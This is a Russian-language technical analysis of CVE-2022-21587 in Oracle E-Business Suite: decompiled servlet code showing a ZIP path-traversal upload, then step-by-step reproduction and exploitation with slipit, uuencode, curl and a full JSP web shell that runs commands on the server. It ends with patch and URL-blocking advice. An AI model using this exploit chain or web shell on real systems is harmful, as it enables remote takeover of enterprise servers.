CVE-2022-21587 Technical Analysis

Professional pentester, technical writer, telegram channel owner
Описание
Oracle E-Business Suite (EBS) - это пакетный набор корпоративных приложений для широкого спектра задач, таких как управление взаимоотношениями с клиентами (CRM), планирование ресурсов предприятия (ERP) или управление человеческим капиталом (HCM).
В октябре 2022 года Oracle опубликовала Critical Patch Update Advisory для устранения нескольких проблем в своих продуктах, включая CVE-2022-21587, уязвимость произвольной загрузки файлов с рейтингом 9.8 по метрике риска CVSS v3, которая затрагивает Oracle Web Applications Desktop Integrator, поставляемый с Oracle EBS версий от 12.2.3 до 12.2.11.
CVE-2022-21587 может привести к неавторизованному удаленному выполнению кода. 16 января 2023 года компания Viettel Security опубликовала анализ этой проблемы, подробно описав первопричину и метод использования уязвимости для получения возможности выполнения кода через полезную нагрузку Perl. Эксплойт, основанный на методе анализа Viettel Security, был опубликован на GitHub "HMs" 6 февраля 2023 года. Oracle приписала "l1k3beef" в качестве первооткрывателя уязвимости.
Анализ показал, что во время эксплуатации также возможно использование полезной нагрузки на основе Java Server Page (JSP) для RCE.
Технический анализ
Приложения Oracle EBS развертываются как корпоративные Java-приложения, работающие на экземпляре сервера WebLogic, который по умолчанию прослушивает HTTP-соединения на TCP-порту 8000. Приложение oacore открывает несколько конечных точек, которые настраиваются через файл /u01/install/APPS/fs1/FMW_Home/Oracle_EBS-app1/applications/oacore/html/WEB-INF/web.xml, как показано ниже. Интерес представляют конечные точки, которые обслуживаются классами, наследующими от сервлета BneAbstractXMLServlet, а именно: /OA_HTML/BneViewerXMLService, /OA_HTML/BneDownloadService, /OA_HTML/BneOfflineLOVService и /OA_HTML/BneUploaderService. Хотя общедоступный эксплойт нацелен на конечную точку /OA_HTML/BneUploaderService, все четыре конечные точки уязвимы к одной и той же проблеме.
<servlet>
<servlet-name>BneViewerXMLService</servlet-name>
<servlet-class>oracle.apps.bne.integrator.document.BneViewerXMLService</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>BneViewerXMLService</servlet-name>
<url-pattern>/BneViewerXMLService</url-pattern>
</servlet-mapping>
<servlet>
<servlet-name>BneDownloadService</servlet-name>
<servlet-class>oracle.apps.bne.integrator.download.BneDownloadService</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>BneDownloadService</servlet-name>
<url-pattern>/BneDownloadService</url-pattern>
</servlet-mapping>
<servlet>
<servlet-name>BneOfflineLOVService</servlet-name>
<servlet-class>oracle.apps.bne.integrator.download.BneOfflineLOVService</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>BneOfflineLOVService</servlet-name>
<url-pattern>/BneOfflineLOVService</url-pattern>
</servlet-mapping>
<servlet>
<servlet-name>BneUploaderService</servlet-name>
<servlet-class>oracle.apps.bne.integrator.upload.BneUploaderService</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>BneUploaderService</servlet-name>
<url-pattern>/BneUploaderService</url-pattern>
</servlet-mapping>
Мы можем посмотреть, как HTTP POST запрос к одной из вышеуказанных конечных точек обрабатывается servletмBneAbstractXMLServlet с помощью метода doRequest, описанного ниже. Если запрос содержит данные многочастной формы [2], то параметр HTTP запроса bne:uueupload проверяется на то, содержит ли он значение true [2], если оно найдено, то многочастный запрос будет иметь суффикс .uue, связанный с его файлами [3], прежде чем данные многочастного запроса будут обработаны дальше с помощью метода doUpload [4].
// /u01/install/APPS/fs1/EBSapps/comn/java/classes/oracle/apps/bne/framework/BneAbstractXMLServlet.class
public String getMultipartFileNameSuffix(boolean paramBoolean) {
if (paramBoolean)
return ".uue"; // <--- [3]
return ".xml";
}
public void doPost(HttpServletRequest paramHttpServletRequest, HttpServletResponse paramHttpServletResponse) throws ServletException, IOException {
doRequest(paramHttpServletRequest, paramHttpServletResponse);
}
public void doRequest(HttpServletRequest paramHttpServletRequest, HttpServletResponse paramHttpServletResponse) throws ServletException, IOException {
BneSitePropertyManager bneSitePropertyManager = BneSitePropertyManager.getInstance();
try {
BneOracleWebAppsContext bneOracleWebAppsContext;
BneContext.getLogInstance().log(7, "Enter BneAbstractXMLServlet.doRequest()");
boolean bool1 = allowGuestSession();
boolean bool2 = allowBneLogin();
boolean bool3 = includeMessagesElement();
boolean bool4 = disableBneWebAppsContextRelease();
BneWebAppsContext bneWebAppsContext = null;
BneBaseBajaContext bneBaseBajaContext = null;
PageEvent pageEvent = null;
BneXMLPrintWriter bneXMLPrintWriter = null;
BneResourceString.setLangOnThread(paramHttpServletRequest);
try {
bneWebAppsContext = BneAbstractWebAppsContext.getContext(paramHttpServletRequest, paramHttpServletResponse);
BneResourceString.setLangOnThread(paramHttpServletRequest, bneWebAppsContext.getLanguage());
bneBaseBajaContext = new BneBaseBajaContext(this, paramHttpServletRequest, paramHttpServletResponse);
BneServletUtils.setRequestEncoding((BneBajaContext)bneBaseBajaContext);
if (BneSecurity.isBneDisabled(bneWebAppsContext)) {
if (bneXMLPrintWriter == null)
bneXMLPrintWriter = new BneXMLPrintWriter(bneWebAppsContext, paramHttpServletRequest, paramHttpServletResponse);
outputErrorDocument(new BneErrorMessage(BneResourceString.getMlsString("GLB_ER_NO_ACCESS"), null, null, "BNE-020003"), (PrintWriter)bneXMLPrintWriter, bool3);
bool4 = false;
return;
}
printServletHAP(paramHttpServletRequest);
if ("post".equalsIgnoreCase(paramHttpServletRequest.getMethod()) && MultipartFormHandler.isMultipartRequest((ServletRequest)paramHttpServletRequest)) { // <--- [1]
BneContext.getLogInstance().log(7, "BneAbstractXMLServlet.doRequest(), MultipartFileDirectoryName = " + getMultipartFileDirectoryName() + " prefix = " + getMultipartFileNamePrefix());
BneMultipartRequest bneMultipartRequest = new BneMultipartRequest(paramHttpServletRequest, getMultipartFileDirectoryName());
bneMultipartRequest.setFilePrefix(getMultipartFileNamePrefix());
String str = paramHttpServletRequest.getParameter("bne:uueupload");
if (str != null && str.length() > 0 && str.equalsIgnoreCase("TRUE")) { // <--- [2]
bneMultipartRequest.setFileSuffix(getMultipartFileNameSuffix(true));
} else {
bneMultipartRequest.setFileSuffix(getMultipartFileNameSuffix(false));
}
bneMultipartRequest.doUpload(); // <--- [4]
Метод doUpload будет перебирать каждый элемент многокомпонентного запроса [1] и вызывать метод doUploadFile для обработки загрузки конкретного элемента [2].
// /u01/install/APPS/fs1/EBSapps/comn/java/classes/oracle/apps/bne/framework/BneMultipartRequest.class
public void doUpload() throws IOException {
this._logger.log(7, "BneMultipartRequest.doUpload(): Start");
String str = this._request.getQueryString();
if (str != null) {
Hashtable hashtable = HttpUtils.parseQueryString(str);
Enumeration<String> enumeration = hashtable.keys();
while (enumeration.hasMoreElements()) {
String str1 = enumeration.nextElement();
put(str1, hashtable.get(str1));
}
}
this._logger.log(7, "BneMultipartRequest.doUpload(): queryString " + str);
this._logger.log(7, "BneMultipartRequest.doUpload(): Content-Type " + this._request.getContentType() + " content-length: " + this._request.getContentLength());
MultipartFormHandler multipartFormHandler = new MultipartFormHandler((ServletRequest)this._request);
MultipartFormItem multipartFormItem;
while ((multipartFormItem = multipartFormHandler.getNextPart()) != null) { // <--- [1]
String str1 = multipartFormItem.getName();
String str2 = null;
this._logger.log(7, "BneMultipartRequest.doUpload(): item.getName is: " + str1);
if (str1.equals("uploadfilename"))
this._logger.log(7, "BneMultipartRequest.doUpload(): item.getFilename is: " + multipartFormItem.getFilename());
if (multipartFormItem.getFilename() == null) {
str2 = multipartFormItem.getValue();
this._logger.log(7, "BneMultipartRequest.doUpload(): item.getValue() is: " + str2);
} else if (multipartFormItem.getFilename().length() > 0) {
if (this.m_validMultipartParameterNames != null && !this.m_validMultipartParameterNames.containsKey(str1)) {
this._logger.log(4, "BneMultipartRequest.doUpload(): Unknown Multipart file item ignored: " + str1);
continue;
}
this._logger.log(7, "BneMultipartRequest.doUpload(): going to doUploadFile of item ");
if (multipartFormItem.getFilename().endsWith(".xlsx"))
setFileSuffix(".xlsx");
str2 = doUploadFile(multipartFormItem); // <--- [2]
Метод doUploadFile записывает элемент многочастного файла во временный файл [1], чтобы его можно было обработать. Если имя временного файла содержит строку uue, это будет обработано как особый случай. Мы можем отметить, что, как упоминалось ранее, передавая параметр HTTP-запроса bne:uueupload, мы можем заставить суффикс .uue быть добавленным к временному файлу, чтобы удовлетворить эту проверку [2]. Ожидается, что файл будет закодирован с помощью механизма кодирования двоичного текста в текст, называемого uuencode, после декодирования текстового файла обратно в двоичный файл с помощью метода doDecode [3], полученный двоичный файл будет представлять собой ZIP-архив, который затем обрабатывается с помощью метода doUnZip [4].
// /u01/install/APPS/fs1/EBSapps/comn/java/classes/oracle/apps/bne/framework/BneMultipartRequest.class
private String doUploadFile(MultipartFormItem paramMultipartFormItem) throws IOException {
this._logger.log(7, "BneMultipartRequest.doUploadFile(): Start");
File file = BneIOUtils.createTemporaryFile(this._uploadStagingDirectory, this._filePrefix, this._fileSuffix);
while (file.exists())
file = BneIOUtils.createTemporaryFile(this._uploadStagingDirectory, this._filePrefix, this._fileSuffix);
this._logger.log(7, "BneMultipartRequest.doUploadFile(): Content Type is: " + paramMultipartFormItem.getContentType());
this._logger.log(7, "BneMultipartRequest.doUploadFile(): File Name in item is: " + paramMultipartFormItem.getFilename());
String str = file.toString();
FileOutputStream fileOutputStream = new FileOutputStream(str);
this._logger.log(7, "BneMultipartRequest.doUploadFile(): file location is: " + str);
paramMultipartFormItem.writeFile(fileOutputStream); // <--- [1]
fileOutputStream.flush();
fileOutputStream.close();
if (file.getName().contains("uue")) { // <--- [2]
BneDecoder bneDecoder = new BneDecoder(new FileInputStream(file));
String str1 = bneDecoder.doDecode(); // <--- [3]
this._logger.log(7, "BneMultipartRequest.doUploadFile(): Zip file is: " + str1);
BneUnZip bneUnZip = new BneUnZip();
String str2 = bneUnZip.doUnZip(str1); // <--- [4]
Метод doUnZip уязвим к Path Traversal, которая позволяет злоумышленнику записать содержимое ZIP-файла в произвольное место на целевой системе. Сначала извлекается значение свойства приложения BNE_UPLOAD_STAGING_DIRECTORY [1]. Это путь, где хранятся декодированные файлы UUE во время выполнения команды doDecode выше, и куда, как ожидается, будут извлечены записи ZIP-файла. По умолчанию это местоположение /u01/install/APPS/fs1/EBSapps/appl/bne/12.0.0/upload. Записи в ZIP-файле перебираются [2], и для каждой записи в ZIP-файле строится путь для извлечения записи. Этот путь представляет собой конкатенацию каталога хранения и имени текущей записи [3]. Если имя записи содержит спецификатор пути с двойной точкой ../, то содержимое записи может быть записано в место, находящееся вне каталога хранения [4]. Например, если ZIP-файл содержит запись с именем ../../../../../../foo.hax, то запись будет извлечена в каталог /u01/install/APPS/fs1/EBSapps/appl/bne/12.0.0/upload/../../../../../../foo.hax, который имеет каноническую форму /u01/install/APPS/fs1/foo.hax.
// /u01/install/APPS/fs1/EBSapps/comn/java/classes/oracle/apps/bne/utilities/BneUnZip.class
public String doUnZip(String paramString) throws IOException {
String str1 = new String("");
String str2 = new String("");
BneContext.getLogInstance().log(7, "BneUnZip.doUpZip Enter fileName: " + paramString);
str1 = BneSitePropertyManager.getInstance().getProperty("BNE_UPLOAD_STAGING_DIRECTORY"); // <--- [1]
try {
BufferedOutputStream bufferedOutputStream = null;
FileInputStream fileInputStream = new FileInputStream(paramString);
ZipInputStream zipInputStream = new ZipInputStream(new BufferedInputStream(fileInputStream));
ZipEntry zipEntry;
while ((zipEntry = zipInputStream.getNextEntry()) != null) { // <--- [2]
byte[] arrayOfByte = new byte[2048];
str2 = str1 + System.getProperty("file.separator") + zipEntry.getName(); // <--- [3]
FileOutputStream fileOutputStream = new FileOutputStream(str2);
BneContext.getLogInstance().log(7, "BneUnZip.doUpZip entry.getName() " + zipEntry.getName());
bufferedOutputStream = new BufferedOutputStream(fileOutputStream, 2048);
int i;
while ((i = zipInputStream.read(arrayOfByte, 0, 2048)) != -1) {
bufferedOutputStream.write(arrayOfByte, 0, i); // <--- [4]
Воспроизведение
Мы можем продемонстрировать возможность загрузки произвольного файла с помощью нескольких команд, сначала мы создадим файл для загрузки:
$ echo hax > foo.hax
Затем мы можем использовать инструмент slipit для создания ZIP-файла с записью, имя которой содержит несколько идентификаторов пути с двойными точками. Мы выберем 5 двойных точечных идентификаторов, чтобы перейти от пути /u01/install/APPS/fs1/EBSapps/appl/bne/12.0.0/upload к пути /u01/install/APPS/fs1/, где мы хотим записать наш файл.
$ slipit --overwrite --separator '/' --depth 5 foo.zip foo.hax
$ slipit foo.zip
File Name Modified Size
../../../../../foo.hax 2023-02-08 10:42:16 4
Затем мы перекодируем ZIP-файл.
$ uuencode foo.zip foo.zip > foo.uue
$ cat foo.uue
begin 777 foo.zip
M4$L#!!0``````$A52%8'N_"1!`````0````6````+BXO+BXO+BXO+BXO+BXO
M9F]O+FAA>&AA>`I02P$"%`,4``````!(54A6![OPD00````$````%@```
M_X$`````+BXO+BXO+BXO+BXO+BXO9F]O+FAA>%!+!08``````0`!
+`$0````X
`
end
Перед тем как отправить POST-запрос на одну из четырех уязвимых конечных точек.
```bash
$ curl http://192.168.86.37:8000/OA_HTML/BneOfflineLOVService?bne:uueupload=true -F upload=@foo.uue
[oracle@apps scripts]$ ls -al /u01/install/APPS/fs1
total 12
drwxr-xr-x. 5 oracle oinstall 64 Feb 8 05:45 .
drwxr-xr-x. 10 oracle oinstall 4096 Dec 4 2020 ..
drwxr-xr-x. 5 oracle oinstall 44 Nov 22 2020 EBSapps
drwxr-x---. 11 oracle oinstall 4096 Nov 22 2020 FMW_Home
-rw-r--r--. 1 oracle oinstall 4 Feb 8 05:45 foo.hax
drwxr-xr-x. 3 oracle oinstall 18 Nov 18 2020 inst
[oracle@apps scripts]$ cat /u01/install/APPS/fs1/foo.hax
hax
Эксплуатация
Для демонстрации выполнения произвольного кода компания Viettel Security показала, как веб-оболочка Perl может быть загружена в местоположение /u01/install/APPS/fs1/FMW_Home/Oracle_EBS-app1/common/scripts/txkFNDWRR.pl. Затем злоумышленник может передать произвольные команды этой веб-оболочке, отправляя запросы к конечной точке /OA_CGI/FNDWRR.exe, которая, в свою очередь, выполнит Perl-скрипт веб-оболочки злоумышленника. Viettel отмечает, что для предотвращения загрузки произвольных Java Server Pages (JSP) существует белый список, однако наш анализ показал, что все еще возможно загрузить произвольный JSP, например, веб-оболочку JSP или более сложную полезную нагрузку JSP, нацелившись на место в модуле форм Oracle EBS WebLogic.
Сначала мы создадим базовую веб-оболочку JSP, которую мы хотим загрузить.
$ cat <<EOT >> hax.jsp
<%@ page import="java.util.*,java.io.*"%>
<%
String cmd = request.getParameter("cmd");
if(cmd != null) {
Process p = Runtime.getRuntime().exec(cmd);
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String line = dis.readLine();
while(line != null) {
out.println(line);
line = dis.readLine();
}
}
%>
EOT
Затем мы добавим этот JSP-файл в ZIP-архив с помощью slipit, чтобы использовать уязвимость Path Traversal. Мы запишем нашу веб-оболочку JSP в расположение /u01/install/APPS/fs1/FMW_Home/Oracle_EBS-app1/applications/forms/forms/hax.jsp.
$ slipit --overwrite --separator '/' --depth 5 --prefix '/FMW_Home/Oracle_EBS-app1/applications/forms/forms/' hax.zip hax.js
Затем мы перекодируем ZIP-файл.
$ uuencode hax.zip hax.zip > hax.uue
Мы используем эту уязвимость для загрузки нашего web shell'a JSP.
$ curl http://192.168.86.37:8000/OA_HTML/BneOfflineLOVService?bne:uueupload=true -F upload=@hax.uue
Перед тем, как использовать web shell JSP для выполнения произвольной команды. Мы видим, что теперь у нас есть выполнение кода от имени пользователя oracle.
$ curl http://192.168.86.37:8000/forms/hax.jsp?cmd=id
uid=54321(oracle) gid=54321(oinstall) groups=54321(oinstall),54322(dba) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
Руководство Поскольку официальное исправление для этой проблемы доступно от Oracle, мы рекомендуем всем затронутым пользователям Oracle EBS применить исправление от октября 2022 года.
Пример

Исправление
Лучший способ устранить эту уязвимость - установить патч от Oracle. В случае если вы не можете установить обновление, вы можете использовать брандмауэр для блокировки запросов, отправленных на следующие URL-адреса:
/OA_HTML/BneUploaderService
/OA_HTML/BneViewerXMLService
/OA_HTML/BneDownloadService
/OA_HTML/BneOfflineLOVService




